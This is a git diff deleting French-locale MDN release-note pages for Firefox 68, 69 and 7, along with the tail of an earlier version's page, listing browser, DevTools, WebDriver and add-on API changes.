  • The {{domxref("Response.redirect()")}} method now correctly throws a TypeError if a non-valid URL is specified as the first parameter ({{bug(1503276)}}).
    • -
  • The {{domxref("ServiceWorkerContainer.register()")}} and {{domxref("WorkerGlobalScope.importScripts()")}} (when used by a service worker) methods will now accept any files with a valid JavaScript MIME type ({{bug(1354577)}}).
    • -
  • The {{domxref("FetchEvent.replacesClientId")}} and {{domxref("FetchEvent.resultingClientId")}} properties are now supported ({{bug(1264177)}}).
    • -
  • The {{domxref("ServiceWorkerGlobalScope.onmessageerror")}} and {{domxref("ServiceWorkerContainer.onmessageerror")}} handler properties have been implemented ({{bug(1399446)}}).
    • -
  • The {{httpheader("Origin")}} header is no longer set on Fetch requests with a method of {{HTTPMethod("HEAD")}} or {{HTTPMethod("GET")}} ({{bug(1508661)}}).
    • -
- -

Media, Web Audio, and WebRTC

- -
    -
  • The {{domxref("WebRTC API", "WebRTC", "", "1")}} {{domxref("RTCIceCandidateStats")}} dictionary has been updated according to the latest spec changes ({{bug(1324788)}}, {{bug(1489040)}}; see also
    - RTCIceCandidateStats has been updated to the latest spec for more details on exactly what has changed).
    • -
  • The {{domxref("MediaRecorder")}} pause and resume events (and their corresponding event handler properties — {{domxref("MediaRecorder.onpause")}} and {{domxref("MediaRecorder.onresume")}}) were not previously implemented, even though compatibility tables claimed they had been. They have now been implemented ({{bug(1458538)}}, {{bug(1514016)}}).
    • -
- -

Canvas and WebGL

- -
    -
  • The  {{domxref("WebGL API", "WebGL", "", "1")}} {{domxref("EXT_texture_compression_bptc")}} and {{domxref("EXT_texture_compression_rgtc")}} texture compression extensions have been exposed to WebGL1 and WebGL2 contexts ({{bug(1507263)}}).
    • -
- -

Removals

- -
    -
  • Mutation events have been disabled in shadow trees ({{bug(1489858)}}).
    • -
  • The non-standard {{domxref("MediaStream")}} property currentTime has been removed ({{bug(1502927)}}).
    • -
  • The dom.webcomponents.shadowdom.enabled and dom.webcomponents.customelements.enabled prefs have been removed — Shadow DOM and Custom Elements can no longer be disabled in about:config ({{bug(1503019)}}).
    • -
  • The non-standard DOM text event — fired to notify the browser editor UI of IME composition string data and selection range — has been removed ({{bug(1288640)}}).
    • -
  • The {{event("keypress")}} event is no longer fired for non-printable keys ({{bug(968056)}}), except for the Enter key, and the Shift + Enter and Ctrl + Enter key combinations (these were kept for cross-browser compatibility purposes).
    • -
- -

Security

- - - -

Networking

- -

No changes.

- -

Plugins

- -

No changes.

- -

WebDriver conformance (Marionette)

- -

API changes

- -
    -
  • -

    WebDriver:ElementSendKeys now handles <input type=file> more relaxed for interactability checks, and allows those elements to be hidden without raising a not interactable error anymore. If a strict interactability check is wanted the capability strictFileInteractability can be used ({{bug(1502864)}}).

    -
    • -
- -

Bug fixes

- -
    -
  • -

    The window manipulation commands WebDriver:FullscreenWindow, WebDriver:MinimizeWindow, WebDriver:MaximizeWindow, and WebDriver:SetWindowRect have been made more stable ({{bug(1492499)}}). It means that under special conditions they don't cause an infinite hang anymore, but instead timeout after 5s if the requested window state cannot be reached ({{bug(1521527)}}).

    -
    • -
  • -

    WebDriver:ElementClick now correctly calculates the center point of the element to click, which allows interactions with dimensions of 1x1 pixels ({{bug(1499360)}}).

    -
    • -
- -

Others

- -
    -
  • -

    For unexpected alert open errors more informative messages are provided (Bug 1502268).

    -
    • -
- -

Other

- -
    -
  • Support for WebP images has been added ({{bug(1294490)}}). - -
      -
    • In addition, to faciliate cross-browser compatibility in certain situations the WebP MIMEType (image/webp) has been added to the standard HTTP Request {{httpheader("Accept")}} header for HTML files ({{bug(1507691)}}).
      • -
    -
    • -
- -

Changes for add-on developers

- -

API changes

- - - -

Tabs

- -
    -
  • The {{WebExtAPIRef("tabs", "tabs API", "", "1")}} has been enhanced to support tab successors — a tab can have a successor assigned to it, which is the ID of the tab that will be active once it is closed ({{bug(1500479)}}, also see this blog post for more information). In particular: - -
      -
    • The {{WebExtAPIRef("tabs.Tab")}} type now has a successorId property, which can be used to store/retrieve the ID of the tab's successor.
      • -
    • The {{WebExtAPIRef("tabs.onActivated")}} event listener's callback has a new parameter available, previousTabId, which contains the ID of the previous activated tab, if it is still open.
      • -
    • The {{WebExtAPIRef("tabs.update()")}} function's updateProperties object has a new optional property available on it, successorTabId, so can be used to update it.
      • -
    • successorTabId is also returned by functions like {{WebExtAPIRef("tabs.get()")}}  and {{WebExtAPIRef("tabs.query()")}}.
      • -
    • The new function tabs.moveInSuccession() allows manipulation of tab successors in bulk.
      • -
    -
    • -
- -

Manifest changes

- -

No changes.

- -

Other

- -
    -
  • The headerURL/theme_frame properties for Webextension themes are now supported on Firefox for Android ({{bug(1429488)}}).
    • -
- -

See also

- - - -

Older versions

- -

{{Firefox_for_developers(65)}}

diff --git a/files/fr/mozilla/firefox/versions/68/index.html b/files/fr/mozilla/firefox/versions/68/index.html deleted file mode 100644 index 037d582ad8..0000000000 --- a/files/fr/mozilla/firefox/versions/68/index.html +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: Firefox 68 pour développeurs -slug: Mozilla/Firefox/Versions/68 -tags: - - '68' - - FRANCAIS - - Firefox - - Mozilla - - Release -translation_of: Mozilla/Firefox/Releases/68 ---- -

{{FirefoxSidebar}}

- -

Cet article fournit des informations à destination des développeurs à propos des changements dans Firefox 68. Firefox 68 a été lancée le 9 Juillet 2019.

- -

Changements pour développeurs web

- -

Outils développeur

- - - -
    -
  • La console web montre maintenant plus d'informations à propos des warnings CSS, ceci inclut la liste de noeuds des éléments du DOM qui utilisaient la règle ({{bug(1093953)}}).
    • -
  • Vous pouvez maintenant filtrer du contenu dans la console Web en utilisant des expressions régulières (REGEX) ({{bug(1441079)}}).
    • -
  • La console du navigateur vous permet maintenant de montrer ou cacher les messages provenant du processus de contenus en paramètrant ou vidant la checkbox intitulé Show Content Messages ({{bug(1260877)}}).
    • -
- -

Le débuggeur JavaScript

- -
    -
  • Vous pouvez maintenant Rechercher dans tout les fichiers du projet en cours depuis le débuggeur en appuyant sur les touches Shift + Ctrl + F (Windows ou Linux) ou Shift + Cmd + F (macOS) ({{bug(1320325)}}).
    • -
- -

Le moniteur réseau

- -
    -
  • La liste des requêtes du moniteur réseau vous permet maintenant de bloquer une URL spécifique ({{bug(1151368)}}).
    • -
  • Vous pouvez maintenant ré-envoyer une requête réseau sans éditer la méthode HTTP, l'URL, les paramètres et les en-têtes, en utilisant la commande Ré-envoyer dans le menu contextuel ({{bug(1422014)}}).
    • -
  • L'onglet en-têtes du menu contextuel du moniteur réseau vous permet maintenant de copier tout ou une partie de l'information de l'en-tête dans le presse-papier au format JSON ({{bug(1442249)}}).
    • -
- -

L'inspecteur de styles et du DOM

- -
    -
  • Un bouton qui vous permet de basculer l'affichage de n'importe quels media queries a été ajouté dans le panneau des règles de l'inspecteur ({{bug(1534984)}}).
    • -
  • Le panneau de polices de caractère inclut maintenant un bouton glissoire pour modifier l'espacement des lettres letter-spacing ({{bug(1536237)}}).
    • -
  • Une icône d'alerte apparaît à côté des propriétées CSS non supportées et des règles ayant des valeurs invalides, pour vous aider à comprendre pourquoi certains styles ne sont pas appliqués ({{bug(1306054)}}).
    • -
- -

Storage inspector

- - - -

Other

- -
    -
  • The Accessibility Inspector now includes a new Check for issues feature, which will include a number of audit tools to highlight accessibility problems on your web pages. The first available check is contrast, for highlighting color contrast problems.
    • -
  • The preference that controls the visibility of internal extensions (system add-ons and hidden extensions) on the about:debugging page has been changed from devtools.aboutdebugging.showSystemAddons to devtools.aboutdebugging.showHiddenAddons ({{bug(1544372)}}).
    • -
  • Responsive design mode has been redesigned — the Device Settings dialog (device selection menu > Edit List...) is now more intuitive and simpler to use ({{bug(1487857)}}).
    • -
- -

Removals

- -
    -
  • The "Enable add-on debugging" checkbox has been removed from the about:debugging page ({{bug(1544813)}}).
    • -
- -

HTML

- -
    -
  • The {{HTMLElement("track")}} element — represented by {{domxref("HTMLTrackElement")}} — now receives a {{domxref("HTMLTrackElement.cuechange_event", "cuechange")}} event in addition to the {{domxref("TextTrack")}} itself, if the text track is a contained by a media element ({{bug(1548731)}}).
    • -
  • {{htmlelement("link")}} elements support the disabled attribute again, albeit with different behavior. When disabled is set on a <link> element along with rel="stylesheet", the referenced stylesheet is not loaded during page load, and will be loaded on demand when the disabled attribute is changed to false or removed ({{bug(1281135)}}).
    • -
- -

 Removals

- - - -

CSS

- -
    -
  • CSS Scroll Snapping has been updated to the latest version of the specification ({{bug(1312163)}}) and ({{bug(1544136)}}), this includes: - -
      -
    • The scroll-padding properties ({{bug(1373832)}})
      • -
    • The scroll-margin properties ({{bug(1373833)}})
      • -
    • {{CSSxRef("scroll-snap-align")}} ({{bug(1373835)}})
      • -
    -
    • -
  • The {{CSSxRef("-webkit-line-clamp")}} property has been implemented for compatibility with other browsers ({{bug(866102)}}).
    • -
  • Support has been added for the {{CSSxRef("::marker")}} pseudo-element ({{bug(205202)}}) and animation for ::marker pseudos ({{bug(1538618)}})
    • -
  • We changed {{CSSxRef("currentColor")}} to be a computed value (except for the {{cssxref("color")}} property)  ({{bug(760345)}}).
    • -
  • Support has been fixed for the ch length unit so it now matches the spec (fallback for no '0' glyph, vertical metrics) ({{bug(282126)}})
    • -
  • The  {{CSSxRef("counter-set")}} property has been implemented. ({{bug(1518201)}}).
    • -
  • We now implement list numbering using a built-in "list-item" counter; this fixes list numbering bugs ({{bug(288704)}}).
    • -
  • Selector matching and parsing support has been implemented for ::part() ({{bug(1545430)}}) and ({{bug(1545425)}}).
    • -
  • CSS Transforms are now supported in indirectly rendered things e.g.)  {{SVGElement("mask")}},  {{SVGElement("marker")}},  {{SVGElement("pattern")}},  {{SVGElement("clipPath")}} ({{bug(1323962)}}).
    • -
  • -

    While we're keeping the prefixed versions of the various gradient properties ({{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, and {{cssxref("repeating-radial-gradient")}} available for compatibility reasons, we have revised how they're parsed so that they're handled much more like the non-prefixed versions. This means that certain existing styles won't work correctly.

    - -

    In particular, the complicated syntax taking both an angle and a position will no longer work, and the to keyword in the <side-or-corner> parameter is not required for the prefixed gradient properties. You are encouraged to use the standard, non-prefixed gradient properties instead, as they're now widely supported ({{bug(1547939)}}).

    -
    • -
- -

Removals

- -
    -
  • {{CSSxRef("scroll-snap-coordinate")}}, {{CSSxRef("scroll-snap-destination")}}, {{CSSxRef("scroll-snap-type-x")}} and {{CSSxRef("scroll-snap-type-y")}} have been removed.
    • -
  • The {{CSSxRef("scroll-snap-type")}} property has become a longhand, so the old shorthand syntax like scroll-snap-type:mandatory will stop working. See the Firefox Site Compatability note.
    • -
- -

SVG

- -

No changes.

- -

JavaScript

- -
    -
  • The new {{jsxref("BigInt")}} primitive is enabled by default ({{bug(1527902)}}).
    • -
  • String generic methods have been removed ({{bug(1222552)}}). See the deprecation warning for more information.
    • -
- -

APIs

- -

CSS Object Model (CSSOM)

- -
    -
  • The legacy {{domxref("CSSStyleSheet.rules", "rules")}} property and {{domxref("CSSStyleSheet.addRule", "addRule()")}} and {{domxref("CSSStyleSheet.removeRule", "removeRule()")}} methods have been added to the {{domxref("CSSStyleSheet")}} interface. These were introduced by Internet Explorer 9 and have never managed to quite be stamped out, so they have been added to improve compatibility with the small percentage of sites that still use them ({{bug(1545823)}}).
    • -
- -

DOM

- -
    -
  • The Visual Viewport API has now been enabled by default on Android ({{bug(1512813)}}). Adding this API to desktop versions of Firefox is being tracked in {{bug(1551302)}}.
    • -
  • The {{domxref("Window")}} feature noreferrer is now supported; if specified, the new window's content is loaded without sharing the hostname, IP address, URL, or other identifying information about the host device ({{bug(1527287)}}).
    • -
  • The {{domxref("HTMLImageElement.decode", "decode()")}} method on HTMLImageElement is now implemented. This can be used to trigger loading and decoding of an image prior to adding it to the DOM ({{bug(1501794)}}).
    • -
  • {{domxref("XMLHttpRequest")}} has been updated to no longer accept the non-standard moz-chunked-arraybuffer value for {{domxref("XMLHttpRequest.responseType", "responseType")}}. Code still using it should be updated to use the Fetch API as a stream ({{bug(1120171)}}).
    • -
  • XMLHttpRequest now outputs a warning to console if you perform a synchronous request while handling an {{domxref("Window.unload_event", "unload")}}, {{domxref("Window.beforeunload_event", "beforeunload")}}, or {{domxref("Window.pagehide_event", "pagehide")}} event ({{bug(980902)}}).
    • -
  • The {{domxref("Document.cookie", "cookie")}} property has moved from the {{domxref("HTMLDocument")}} interface to the {{domxref("Document")}} interface, allowing documents other than {{Glossary("HTML")}} to use cookies ({{bug(144795)}}).
    • -
  • The {{domxref("HTMLElement.focus()")}} and {{domxref("SVGElement.focus()")}} methods now accept an optional object that may contain a boolean preventScroll option specifying whether or not to block the browser from scrolling the newly-focused element into view ({{bug(1374045)}}).
    • -
- -

DOM events

- -
    -
  • Firefox for Android no longer incorrectly sends a {{domxref("Window.resize_event", "resize")}} event until after the first frame is painted; this improves web compatibility with sites that don't expect this event to occur ({{bug(1528052)}}).
    • -
  • The dispatching of events for non-primary mouse buttons has been made to more closely follow the specification; the {{domxref("Element.click_event", "click")}} event is no longer sent when non-primary buttons are clicked, instead using {{domxref("Element.auxclick_event", "auxclick")}}. In addition, {{domxref("Element.dblclick_event", "dblclick")}} no longer fires for non-primary buttons ({{bug(1379466)}}).
    • -
  • The proprietary {{domxref("MouseEvent.mozPressure")}} property has been deprecated, and will now trigger a warning in the console ({{bug(1165211)}}).
    • -
- -

Media, Web Audio, and WebRTC

- -
    -
  • Due to changes in the Google Play store's policies, starting with Firefox 68 for Android, the OpenH264 codec used to handle AVC/H.264 video in WebRTC connections can no longer be downloaded and installed. Therefore, fresh installs of Firefox on Android devices no longer support AVC in WebRTC calls. If you upgrade from earlier versions of Firefox and already have the codec downloaded, it will continue to work. This does not affect other platforms. For more details, see this article on SUMO or {{bug(1548679)}}.
    • -
  • WebRTC has been updated to recognize that a null candidate passed into the {{domxref("RTCPeerConnection.icecandidate", "icecandidate")}} event handler, indicating the receipt of a candidate, instead indicates that there are no further candidates coming; when this happens the ICE gathering ({{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}) state reaches complete ({{bug(1318167)}}).
    • -
  • The {{domxref("RTCRtpReceiver")}} methods {{domxref("RTCRtpReceiver.getContributingSources", "getContributingSources()")}} and {{domxref("RTCRtpReceiver.getSynchronizationSources", "getSynchronizationSources()")}} now support video tracks; previously they only worked on audio ({{bug(1534466)}}).
    • -
  • The Web Audio API {{domxref("MediaStreamTrackAudioSourceNode")}} interface is now supported, as is the method {{domxref("AudioContext.createMediaStreamTrackSource()")}} ({{bug(1324548)}}).
    • -
  • {{domxref("RTCDataChannel.negotiated")}} is now implemented ({{bug(1529695)}}).
    • -
  • The {{domxref("MediaStreamAudioSourceNode.MediaStreamAudioSourceNode", "MediaStreamAudioSourceNode()")}} constructor has been updated to match the current specification's definition that the "first audio track" in the stream is the track whose ID comes first in lexicographical order ({{bug(1324548)}}).
    • -
  • -

    {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} may no longer be used from a non-secure context; attempting to do so now throws a NotAllowedError exception. Secure contexts are those loaded using HTTPS, those located using the file:/// scheme, and those loaded from localhost. For now, if you must, you can re-enable the ability to perform insecure calls to getUserMedia() by setting the preference media.getusermedia.insecure.enabled to true ({{bug(1335740)}}).

    - -
    -

    Note: In the future, Firefox will also remove the {{domxref("navigator.mediaDevices")}} property on insecure contexts, preventing all access to the {{domxref("MediaDevices")}} APIs. This is already the case in Nightly builds.

    -
    -
    • -
- -

Removals

- -
    -
  • Removed the non-standard {{DOMxRef("XMLDocument.load()")}} method ({{bug(332175)}}).
    • -
  • Removed the non-standard {{DOMxRef("XMLDocument.async")}} property ({{bug(1328138)}}).
    • -
  • The {{domxref("RTCIceCredentialType")}} token value has been removed ({{bug(1529595)}}).
    • -
- -

HTTP

- -
    -
  • The HTTP {{HTTPHeader("Clear-Site-Data")}} header no longer supports the executionContexts directive. This was removed due to problems with interactions between interconnections among different kinds of data at different points in the navigation process and the way the specification is designed. It has been proposed that this directive be removed from the specification for this reason, among others ({{bug(1548034)}}).
    • -
- -

Removals

- -
    -
  • The {{HTTPHeader("Content-Security-Policy")}} directive require-sri-for is no longer supported due to concerns about its standardization status. It was previously available only behind a preference, which was off by default ({{bug(1386214)}}).
    • -
- -

Security

- - - -

WebDriver conformance (Marionette)

- -

Bug fixes

- -
    -
  • If WebDriver:SwitchToWindow changes the selection to a different window it now waits for its focus and activate events before returning ({{bug(1335085)}}).
    • -
  • Fixed the TypeError: this.tabModal is null failure, which sometimes appeared when interacting with modal dialogs or user prompts ({{bug(1538782)}})
    • -
- -

Other

- -
    -
  • Disabled the feature to force unloading background tabs on low memory conditions, to prevent top-level browser contexts from magically disappearing ({{bug(1553748)}}).
    • -
  • Disabled priviledged content processes that caused HTTP authentication dialogs not to appear when navigating to a website after opening a new tab ({{bug(1558763)}}).
    • -
- -

Plugins

- -

No changes.

- -

Changes for add-on developers

- -

API changes

- -
    -
  • The The proxy.register() and proxy.unregister() functions have been deprecated and will be removed from Firefox 71 ({{bug(1545811)}}).
    • -
  • A boolean flag, incognito, has been added to the proxy.RequestDetails. object. When true, it indicates that this was a private browsing request ({{bug(1545163)}}).
    • -
  • The webRequest.RequestFilter parameters can include an incognito parameter. If provided, requests that do not match the incognito state (true or false) will be filtered out ({{bug(1548177)}}).
    • -
  • A string value, cookieStoreId, representing the cookie store ID of the current context, has been added to the proxy.RequestDetails. object ({{bug(1545420)}}).
    • -
  • When an add-on attempts to add a bookmark folder to the root folder, the resulting error message is now much more intuitive ({{bug(1512171)}}).
    • -
  • The promise returned by browser.tabs.duplicate() now resolves immediately, before the tabs are completely loaded ({{bug(1394376)}}).
    • -
  • Support has been added for chrome.storage.managed, allowing web extension settings to be implemented via enterprise policy ({{bug(1230802)}}).
    • -
- -

Manifest changes

- -

No changes.

- -

See also

- - - -

Older versions

- -

{{Firefox_for_developers(67)}}

diff --git a/files/fr/mozilla/firefox/versions/69/index.html b/files/fr/mozilla/firefox/versions/69/index.html deleted file mode 100644 index 5a5ad086a5..0000000000 --- a/files/fr/mozilla/firefox/versions/69/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Firefox 69 for developers -slug: Mozilla/Firefox/Versions/69 -translation_of: Mozilla/Firefox/Releases/69 ---- -

{{FirefoxSidebar}}{{Draft}}

- -

This article provides information about the changes in Firefox 69 that will affect developers. Firefox 69 is the current Beta version of Firefox, and will ship on September 3, 2019.

- -

Changes for web developers

- -

Developer tools

- -
    -
  • An icon will be displayed next to invalid or unsupported CSS rules in the Rules pane of the Page Inspector ({{bug(1306054)}}).
    • -
  • The debugger now includes the ability to set a breakpoint on event handlers. For example, you can select keydown, and execution will pause when it enters any keydown event handler in your project ({{bug(1526079)}}).
    • -
  • When you hover over an element in the Page Inspector, the infobar that appears now includes the fact that an element is a flex container, or flex item ({{bug(1521188)}}).
    • -
- -

Removals

- -

HTML

- -
    -
  • In order to align more closely to the specification, the text track associated with a {{HTMLElement("track")}} element no longer loads the WebVTT file containing the text cues if the element is created in its default disabled {{domxref("TextTrack.mode", "mode")}}. To access or manipulate the cues when the mode is disabled, change the mode to either started or hidden; this will trigger loading of the WebVTT data ({{bug(1550633)}}).
    • -
- -

 Removals

- -
    -
  • The HTML {{HTMLElement("keygen")}} element has been removed from Firefox. It was deprecated some time ago, and its purpose has generally been supplanted by other technologies ({{bug(1315460)}}).
    • -
- -

CSS

- -
    -
  • Implement the break-spaces value of the white-space property ({{bug(1351432)}}).
    • -
  • Implement SVG geometry properties in CSS ({{bug(1383650)}}).
    • -
  • The {{cssxref("::cue")}} selector—used to style the captions ("cues") displayed by WebVTT—now enforces the limitations on which CSS properties may be used within cues, per the specification.
    • -
  • Properties which may apply to `::marker` restricted as per the specification ({{bug(1552578)}})
    • -
  • The {{cssxref("overflow-block")}} and {{cssxref("overflow-inline")}} properties have been implemented ({{bug(1470695)}}).
    • -
  • Adds the ability to test for support of a selector when using CSS Feature Queries (@supports), with the `selector()` method ({{bug(1513643)}}).
    • -
  • The {{cssxref("user-select")}} property—which specifies whether or not the user is able to select text in the affected element—has been unprefixed in Firefox 69 ({{bug(1492739)}}).
    • -
- -

Removals

- -

SVG

- -
    -
  • Support gzip-compressed SVG-in-OpenType ({{bug(1359240)}}).
    • -
- -

Removals

- -

JavaScript

- -
    -
  • The promise rejection events, unhandledrejection and rejectionhandled, are now enabled by default ({{bug(1362272)}}). To learn more about how these work, see {{SectionOnPage("/en-US/docs/Web/JavaScript/Guide/Using_promises", "Promise rejection events")}}.
    • -
- -

Removals

- -

HTTP

- -
    -
  • The HTTP headers {{HTTPHeader("Access-Control-Expose-Headers")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}, and {{HTTPHeader("Access-Control-Allow-Headers")}} now accept a wildcard value "*" for requests without credentials ({{bug(1309358)}}). This change has also been uplifted to Firefox 68 ESR.
    • -
- -

APIs

- -

No changes.

- -

New APIs

- -

DOM

- -
    -
  • The {{domxref("DOMMatrix")}}, {{domxref("DOMPoint")}}, and related objects are now supported in workers ({{bug(1420580)}}).
    • -
- -

DOM events

- -

Service workers

- -

Media, Web Audio, and WebRTC

- -
    -
  • For improved user security, and in keeping with the latest versions of the Media Capture and Streams specification, the {{domxref("navigator.mediaDevices")}} property is no longer present if the context is insecure. To use {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}, and so forth, be sure your content is loaded using {{Glossary("HTTPS")}} ({{bug(1528031)}}).
    • -
  • The Web Audio API's {{domxref("AudioParam.value")}} property now returns the actual value of the property at the current time, taking into account all scheduled or gradiated changes taking places to the value. Previously, Firefox only returned the most recent explicitly-set value (as through using the value setter) ({{bug(893020)}}).
    • -
  • Updated {{domxref("MediaStreamAudioSourceNode")}} to use the new, lexicographical, ordering for tracks. Previously, track ordering was up to the individual browser, and could even change arbitrarily. In addition, attempting to create a MediaStreamAudioSourceNode using a stream that has no audio tracks now throws an InvalidStateError exception ({{bug(1553215)}}).
    • -
  • The {{domxref("MediaTrackSettings.facingMode", "facingMode")}}, {{domxref("MediaTrackSettings.deviceId", "deviceId")}}, and {{domxref("MediaTrackSettings.groupId", "groupId")}} settings are now included as members of the {{domxref("MediaTrackSettings")}} object returned by calls to {{domxref("MediaStreamTrack.getSettings()")}} ({{bug(1537986)}}).
    • -
- -

Canvas and WebGL

- -

Removals

- -

Security

- -

No changes.

- -

Removals

- -

Plugins

- -

No changes.

- -

Removals

- -

Other

- -

No changes.

- -

Removals

- -

Changes for add-on developers

- -

API changes

- -

No changes.

- -

Removals

- -

Manifest changes

- -

No changes.

- -

Removals

- -

See also

- - - -

Older versions

- -

{{Firefox_for_developers(68)}}

diff --git a/files/fr/mozilla/firefox/versions/7/index.html b/files/fr/mozilla/firefox/versions/7/index.html deleted file mode 100644 index 16936f3f8d..0000000000 --- a/files/fr/mozilla/firefox/versions/7/index.html +++ /dev/null @@ -1,239 +0,0 @@ ---- -title: Firefox 7 pour les développeurs -slug: Mozilla/Firefox/Versions/7 -tags: - - Firefox - - Firefox 7 -translation_of: Mozilla/Firefox/Releases/7 ---- -
{{FirefoxSidebar}}

Firefox 7, basé sur Gecko 7.0, est sorti le 27 september 2011. Cet article fournit des informations à propos des changements qui affectent les développeurs dans cette version.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • La propriété profile de {{domxref("HTMLHeadElement")}} a été supprimée, cette propriété est obsolète depuis {{gecko("2.0")}}.
    • -
  • Les propriétés x et y de {{domxref("HTMLImageElement")}} ont été supprimées.
    • -
  • Le paramètre before de la méthode add() de {{domxref("HTMLSelectElement")}} est désormais optionnel.
    • -
  • L'attribut {{htmlattrxref("background", "body")}} de l'élément {{HTMLElement("body")}} n'est plus résolu en tant qu'URI, ce qui est conforme à la spécification HTML courante.
    • -
  • L'attribut {{htmlattrxref("label", "option")}} de l'élément {{HTMLElement("option")}} reflète désormais la valeur du contenu texte de l'élément si l'attribut n'est pas spécifié.
    • -
- -

Canvas

- -
    -
  • Dans le cadre du projet Azure, le Backend Azure Direct2D a été implémenté et améliore considérablement les performances des canvas 2D.
    • -
  • La spécification de valeurs invalides lors de l'appel de setTransform(), bezierCurveTo() ou arcTo() ne renvoie plus d'exception, ces appels sont à présent ignorés silencieusement.
    • -
  • La méthode isPointInPath() considère maintenant correctement la matrice de transformation lors de la comparaison du point spécifié au tracé en cours.
    • -
  • L'appel de strokeRect() avec une largeur et une hauteur de zéro n'a désormais plus aucun effet.
    • -
  • L'appel de drawImage() avec une largeur ou hauteur {{HTMLElement("canvas")}} de zéro lance désormais INVALID_STATE_ERR.
    • -
  • L'appel de drawImage() avec des coordonnées non-finies ne renvoie plus d'exception.
    • -
  • La méthode toDataURL() accepte désormais un second paramètre pour contrôler la qualité JPEG.
    • -
  • Le support des opérations non-standards clear et over de globalCompositeOperation a été enlevé.
    • -
  • Les ombres sont désormais uniquement dessinées pour les opérations de composition de source-over.
    • -
  • Vous pouvez désormais configurer la règle de remplissage utilisé par la toile en définissant l'attribute mozFillRule au contexte.
    • -
  • Le support des attributs expérimentaux mozDash, mozDashOffset, mozCurrentTransform et mozCurrentTransformInverse a été ajouté.
    • -
  • Le support des méthodes non-standards mozDrawText(), mozMeasureText(), mozPathText() et mozTextAlongPath() a été retiré.
    • -
- -

CSS

- -
    -
  • {{cssxref("text-overflow")}} est désormais supporté.
    • -
  • La propriété {{cssxref("orient", "-moz-orient")}} a été corrigée pour que les éléments {{HTMLElement("progress")}} qui sont orientés verticalement aient des dimensions par défaut appropriées.
    • -
- -

MathML

- -
    -
  • XLink href a été rétabli et l'attribut href de MathML3 est maintenant supporté. Les développeurs sont encouragés à passer à la dernière syntaxe.
    • -
  • Le support de l'attribut voffset sur les éléments {{MathMLElement("mpadded")}} a été ajouté et le comportement de l'attribut lspace a été fixé.
    • -
  • L'élément de premier niveau {{MathMLElement("math")}} accepte maintenant tous les atributs de l'élément {{MathMLElement("mstyle")}}.
    • -
  • Le support des polices Asana Math a été ajouté.
    • -
  • L'épaisseur des lignes medium des barres de fraction des éléments {{MathMLElement("mfrac")}} a été corrigé pour correspondre à l'épaisseur par défaut.
    • -
  • Les noms des espaces négatifs sont maintenant supportés.
    • -
- -

DOM

- -
    -
  • Les méthodes non-standards getAsBinary(), getAsDataURL() et getAsText() de l'interface {{domxref("File")}} ont été supprimées ainsi que les propriétés non-standards fileName et fileSize.
    • -
  • L'interface {{domxref("XMLHttpRequest/FormData", "FormData")}} ne signale plus le nom du fichier comme une chaîne vide lors de l'envoi l'en-tête HTTP Content-Disposition si les données ont été définies à l'aide de {{domxref("Blob")}}. Cela corrige les erreurs qui avaient lieu sur certains serveurs.
    • -
  • L'attribut {{domxref("element.dir")}} renvoie désormais toujours son résultat en minuscules, comme l'exige la spécification HTML.
    • -
  • la méthode readAsArrayBuffer() de {{domxref("FileReader")}} est maintenant implémentée.
    • -
  • {{domxref("document.createEntityReference")}} a été retiré. Elle n'a jamais été correctement implémentée et n'est pas intégrée dans la plupart des autres navigateurs.
    • -
  • document.normalizeDocument a été retiré. Utilisez {{domxref("Node.normalize")}} à la place.
    • -
  • {{domxref("DOMTokenList.item")}} renvoie désormais undefined si index est en dehors des limites, auparavant il renvoyé null.
    • -
  • Node.getFeature a été supprimé.
    • -
  • Les interfaces HTMLInsElement et HTMLDelElement ont été retirées, depuis que les éléments {{HTMLElement("ins")}} et {{HTMLElement("del")}} utilisent l'interface {{domxref("HTMLModElement")}}.
    • -
  • Dans le but d'être conforme à la prochaine spécification DOM4 où {{domxref("Attr")}} n'hérite plus de {{domxref("Node")}} (il l'a fait dans les DOM Core 1, 2 and 3), beaucoup de propriétés et méthodes de {{domxref("Node")}} sur l'interface {{domxref("Attr")}} sont maintenant des rapports d'alertes que nous nous efforçons de retirer dans une version ultérieure.
    • -
  • Ajout du support des propriétés {{domxref("window.ondeviceorientation")}} et {{domxref("window.ondevicemotion")}} sur les objets {{domxref("window")}}.
    • -
  • {{domxref("window.resizeTo")}}, {{domxref("window.resizeBy")}}, {{domxref("window.moveTo")}} et {{domxref("window.moveBy")}} ne s'appliquent plus à la fenêtre principale.
    • -
- -

JavaScript

- - - -

WebSockets

- -
    -
  • la préférence network.websocket.max-connections est utilisée pour déterminer le nombre maximum de connexions à WebSocket qui peuvent être ouvertes en même temps. La valeur par défaut est 200.
    • -
  • La version 8 du protocole WebSocket (comme spécifié par IETF draft 10) est maintenant utilisé à la place de la version 7 du protocole utilisé par Firefox 6.
    • -
  • L'API WebSocket est maintenant disponible sur Firefox Mobile.
    • -
- -

Console API

- -
    -
  • Les messages enregistrés avec console.log alors que la console web n'est pas ouverte sont toujours enregistrés, bien qu'ils ne s'affichent pas lorsque la console web est ouverte.
    • -
- -
-

Web timing

- -
    -
  • Première implémentation de la spécification Navigation Timing qui fournit des données pouvant être utilisées pour mesurer les performances d'un site.
    • -
- -

XML

- - -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Ces changements affectent les développeurs d'extensions ainsi que les développeurs qui travaillent sur ​​ou avec le code de Mozilla lui-même. Les developpeurs d'extensions doivent voir Updating extensions for Firefox 7 pour plus d'informations.

- -
Note: Firefox 7 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
- -

Modules de code JavaScript

- -

FileUtils.jsm

- -
    -
  • la nouvelle méthode openFileOutputStream() ouvre un flux de sortie du fichier, la variante non-sécurisée, pour écrire dedans.
    • -
- -

AddonManager.jsm

- - - -

XUL

- - - -

XPCOM

- -
    -
